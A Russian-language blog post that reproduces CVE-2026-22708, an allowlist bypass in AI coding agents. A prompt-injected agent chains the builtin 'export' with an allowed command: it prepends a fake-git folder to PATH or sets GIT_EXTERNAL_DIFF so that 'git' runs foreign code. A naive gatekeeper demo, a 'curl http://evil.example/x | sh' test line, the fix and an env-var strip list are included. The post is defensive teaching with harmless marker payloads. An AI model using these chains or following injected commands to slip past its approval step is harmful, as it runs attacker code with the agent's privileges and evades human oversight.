К содержимому

← Блог

18.08.2026 · обновлено 01.10.2026 · ИИ-агенты · 52 просмотра

Как ИИ-агент выполняет чужой код через команду из списка разрешённых

Агент, который сам выполняет команды в терминале, обычно держит список разрешённых команд: git, ls, python3 запускаются без вопросов, всё остальное отправляется человеку на подтверждение. Это предохранитель против того, чтобы модель по чужой подсказке выполнила что попало. В августе 2026 года Cursor закрыл уязвимость CVE-2026-22708, где этот предохранитель обходится. Причём не запрещённой командой, а встроенной командой оболочки, которая на первый взгляд ничего не запускает.

Дальше минимальный стенд, на котором обход виден целиком: свой мини-привратник на три десятка строк, отравление разрешённой команды и починка в два слоя. Всё воспроизводится в одной папке на обычном Linux с git и python3, посторонний код в демо только печатает строку и создаёт файл-маркер, чтобы обход было видно без вреда.

Список разрешённых команд не видит встроенные команды оболочки

В режиме автозапуска агент сверяет предложенную команду со списком: если имя программы в списке есть, агент запускает команду сам, если нет, спрашивает человека. Проверяется при этом внешняя команда, та, что запускает отдельную программу. А есть встроенные команды оболочки (builtin): export, set, unset, declare, cd. Их выполняет сама оболочка, отдельная программа при этом не запускается. Наивный разборщик рассуждает так: раз программу не запускает, то и вредить нечем, можно пропустить молча. Это и есть слепое пятно.

В CVE-2026-22708 через него и прошли: в Cursor версий до 2.2 в режиме автозапуска со списком разрешённых команд встроенные export, unset, set, declare исполнялись без проверки по списку и без подтверждения. Через них меняются переменные окружения, влияющие на доверенные команды, и разрешённый git или python3 script.py превращается в запуск постороннего кода на машине (RCE). Уязвимость нашёл Dan Lisichkin из Pillar Security; в версии 2.3 команды, которые серверный разборщик не смог разобрать, стали требовать подтверждения. Ниже тот же класс обхода на своём стенде, без привязки к конкретному редактору.

Собираем наивного привратника

Привратник получает строку команды и решает, запускать её самому или отдать на подтверждение. Логика повторяет наивный разбор: у каждого куска команды берётся первое слово; встроенная команда пропускается как безобидная, разрешённая разрешается, всё прочее блокируется. Составная команда (через &&, ;, ||) разбивается на куски, и автозапуск срабатывает, только если ни один кусок не заблокирован.

import re, shlex, sys

# Команды, которым агент доверяет автозапуск без подтверждения
ALLOWLIST = {"git", "ls", "echo", "python3"}

# Встроенные команды оболочки: не запускают отдельную программу,
# поэтому наивный разбор считает их безопасными и пропускает мимо списка
BUILTINS = {"export", "set", "unset", "declare", "typeset", "alias", "cd", "local"}

def classify(segment: str) -> str:
    parts = shlex.split(segment)
    if not parts:
        return "empty"
    head = parts[0]
    if head in BUILTINS:
        return "builtin"          # "программу не запускает" - пропускаем молча
    if head in ALLOWLIST:
        return "allowed"
    return "blocked"

def gate(command: str):
    segments = re.split(r"&&|\|\||;", command)
    verdicts = [classify(s) for s in segments]
    auto_run = all(v != "blocked" for v in verdicts)
    return auto_run, verdicts

if __name__ == "__main__":
    ok, verdicts = gate(sys.argv[1])
    print(("AUTO-RUN" if ok else "NEEDS APPROVAL"), verdicts)

Прогон на понятных случаях:

python3 gate.py "git status"
python3 gate.py "curl http://evil.example/x | sh"
AUTO-RUN ['allowed']
NEEDS APPROVAL ['blocked']

Разрешённая git status идёт в автозапуск, а curl с передачей вывода в оболочку уходит на подтверждение. Пока привратник ведёт себя ровно так, как от него ждут.

Обходим список через export и PATH

Оболочка ищет программу по имени в папках из переменной PATH: перебирает их по порядку и запускает первую совпавшую. Если в начало PATH добавить свою папку с файлом git, то разрешённая команда git запустит именно его, а не настоящий git. Добавить папку в PATH это export, встроенная команда. Значит цепочка export PATH=./evilbin:$PATH && git status для привратника выглядит как безобидный builtin плюс разрешённая команда.

Откуда берётся эта папка и кто просит агента выполнить такую цепочку. Атакующий не сидит за терминалом. Агент читает недоверенный текст (файл в репозитории, описание задачи, веб-страницу) и через косвенную инъекцию промпта получает инструкцию: выполни вот это. Папку с подставным git тот же агент способен создать разрешёнными шагами раньше. То есть команда приходит не от человека, а из данных, которые агент обрабатывает. Подставной git здесь учебный: печатает строку и дописывает файл-маркер, чтобы обход было видно. В реальной атаке на его месте был бы любой код с правами агента.

mkdir -p evilbin
cat > evilbin/git <<'SH'
#!/bin/sh
echo "[fake-git] выполнен посторонний код вместо настоящего git" >&2
echo "pwned $(date -u +%FT%TZ)" >> "$PWD/attacker-was-here.txt"
SH
chmod +x evilbin/git

Цепочка идёт через привратник, а следом выполняется по-настоящему:

python3 gate.py "export PATH=./evilbin:\$PATH && git status"
bash -c 'export PATH=./evilbin:$PATH && git status'
cat attacker-was-here.txt
AUTO-RUN ['builtin', 'allowed']
[fake-git] выполнен посторонний код вместо настоящего git
pwned 2026-08-19T06:49:50Z

Первая строка это вердикт привратника: builtin плюс allowed, значит автозапуск. Вторая это сообщение подставного git, он выполнился вместо настоящего. Третья это строка из файла-маркера attacker-was-here.txt (время в UTC, у вас оно будет своё): раз файл появился, значит посторонний код отработал. Запрещённых команд в цепочке не было, а произвольный код выполнился.

Тот же обход через другие переменные git

Даже если закрепить PATH, разрешённый git можно повернуть против себя через другие переменные. Например GIT_EXTERNAL_DIFF задаёт программу, которую git запускает вместо показа изменений на git diff. Цепочка проходит наивный привратник так же, как с PATH, и запускает чужой код, в том числе когда вывод перехватывается, а не идёт в терминал. Именно так команду и запускает агент, поэтому кусают переменные вроде этой (GIT_PAGER сработал бы только при выводе в терминал).

Чтобы git diff было что показывать, нужен репозиторий с незакоммиченной правкой. Заводится одноразовый: строка one уходит в коммит, строка two дописывается уже поверх.

git init -q
git config user.email you@example.com
git config user.name you
printf 'one\n' > f.txt
git add f.txt && git commit -qm init
printf 'two\n' >> f.txt

Теперь учебный обработчик ext-diff. На месте настоящего показа изменений он печатает строку и дописывает тот же файл-маркер. В реальной атаке тут был бы любой код с правами агента, файл же приходит к читателю так же, как подставной git: его кладёт сам агент по инструкции из недоверенных данных.

cat > ext-diff <<'SH'
#!/bin/sh
echo "[ext-diff] выполнен посторонний код вместо показа diff" >&2
echo "pwned via GIT_EXTERNAL_DIFF" >> attacker-was-here.txt
SH
chmod +x ext-diff

Прогон цепочки:

rm -f attacker-was-here.txt
python3 gate.py "export GIT_EXTERNAL_DIFF=./ext-diff && git diff"
bash -c 'export GIT_EXTERNAL_DIFF=./ext-diff && git diff'
cat attacker-was-here.txt
AUTO-RUN ['builtin', 'allowed']
[ext-diff] выполнен посторонний код вместо показа diff
pwned via GIT_EXTERNAL_DIFF

Вердикт снова автозапуск. Настоящего diff на экране нет: вместо него отработал ext-diff, о чём говорит его строка, а следом появившийся маркер подтверждает, что посторонний код выполнился. Список имён программ переменные окружения не покрывает в принципе, поэтому подпирать привратник ещё и списком опасных переменных занятие без дна. Чинить надо в другом месте.

Чиним привратника

Корень в том, что команду, меняющую окружение, привратник считал безобидной. Правило разворачивается наоборот: команды, которые меняют среду (export, set, unset, declare, typeset, alias, env), уходят на подтверждение человеку, а не пропускаются молча. Автозапуск остаётся только там, где каждый кусок команды разрешён явно. Это ровно то, что сделали в Cursor 2.3: то, что разборщик не может классифицировать как безопасное, идёт человеку.

import re, shlex, sys

ALLOWLIST = {"git", "ls", "echo", "python3"}
# Любая команда, меняющая окружение, - не "молча можно", а на подтверждение
ENV_MUTATORS = {"export", "set", "unset", "declare", "typeset", "alias", "env"}

def classify(segment: str) -> str:
    parts = shlex.split(segment)
    if not parts:
        return "empty"
    head = parts[0]
    if head in ENV_MUTATORS:
        return "needs-approval"   # меняет среду - решает человек, не автозапуск
    if head in ALLOWLIST:
        return "allowed"
    return "blocked"

def gate(command: str):
    segments = re.split(r"&&|\|\||;", command)
    verdicts = [classify(s) for s in segments]
    auto_run = all(v == "allowed" for v in verdicts)
    return auto_run, verdicts

if __name__ == "__main__":
    ok, verdicts = gate(sys.argv[1])
    print(("AUTO-RUN" if ok else "NEEDS APPROVAL"), verdicts)
python3 hardened_gate.py "export PATH=./evilbin:\$PATH && git status"
python3 hardened_gate.py "export GIT_EXTERNAL_DIFF=./ext-diff && git diff"
python3 hardened_gate.py "git status"
NEEDS APPROVAL ['needs-approval', 'allowed']
NEEDS APPROVAL ['needs-approval', 'allowed']
AUTO-RUN ['allowed']

Обе вредоносные цепочки теперь останавливаются на подтверждении, а чистая git status по-прежнему идёт сама. Обход через builtin закрыт.

Вторая линия: запуск в чистой среде

Одного привратника мало. Опасная переменная может уже лежать в окружении: её выставил стартовый файл оболочки, или предыдущая команда в той же сессии, или та же косвенная инъекция ещё до того, как привратник ужесточили. Поэтому и сама разрешённая команда должна запускаться в среде, до которой атакующий не дотянулся: опасные переменные снимаются, PATH фиксируется, запуск идёт по абсолютному пути без разбора через оболочку.

import os, subprocess, sys

# Опасные для доверенных команд переменные - вычищаем перед запуском
STRIP = {
    "GIT_EXTERNAL_DIFF", "GIT_PAGER", "PAGER", "GIT_SSH_COMMAND",
    "GIT_SSH", "LD_PRELOAD", "LD_LIBRARY_PATH", "PYTHONPATH",
    "PYTHONSTARTUP", "BROWSER",
}

def safe_env() -> dict:
    env = {k: v for k, v in os.environ.items() if k not in STRIP}
    env["PATH"] = "/usr/bin:/bin"   # фиксируем, чужие папки в него не попадут
    return env

if __name__ == "__main__":
    # запускаем строго по абсолютному пути, без разбора через оболочку
    subprocess.run(sys.argv[1:], env=safe_env(), executable=None)

Сначала переменная GIT_EXTERNAL_DIFF выставляется прямо в окружении, как будто её уже отравили. Обычный git diff в таком окружении снова запускает чужой код:

rm -f attacker-was-here.txt
export GIT_EXTERNAL_DIFF=./ext-diff
git diff
cat attacker-was-here.txt
[ext-diff] выполнен посторонний код вместо показа diff
pwned via GIT_EXTERNAL_DIFF

Маркер снова на месте, настоящих изменений git не показал. Тот же git diff через обёртку, с вычищенной средой и фиксированным PATH:

rm -f attacker-was-here.txt
python3 safe_run.py /usr/bin/git diff
ls attacker-was-here.txt
diff --git a/f.txt b/f.txt
index 5626abf..814f4a4 100644
--- a/f.txt
+++ b/f.txt
@@ -1 +1,2 @@
 one
+two
ls: cannot access 'attacker-was-here.txt': No such file or directory

На этот раз виден настоящий diff (строка two добавлена к f.txt), а файла-маркера нет: вычищенная среда переменную обезвредила. Привратник не пускает опасную команду в автозапуск. Чистая среда страхует на случай, когда переменная просочилась в окружение другим путём.

У своего агента, который выполняет команды, проверяются оба места. Считает ли автозапуск смену окружения безобидной, раз программа при этом не стартует. И в какой среде выполняется доверенная команда, могла ли до этой среды дотянуться сторона, чьи данные агент читает. Оба ответа собираются на стенде выше за полчаса.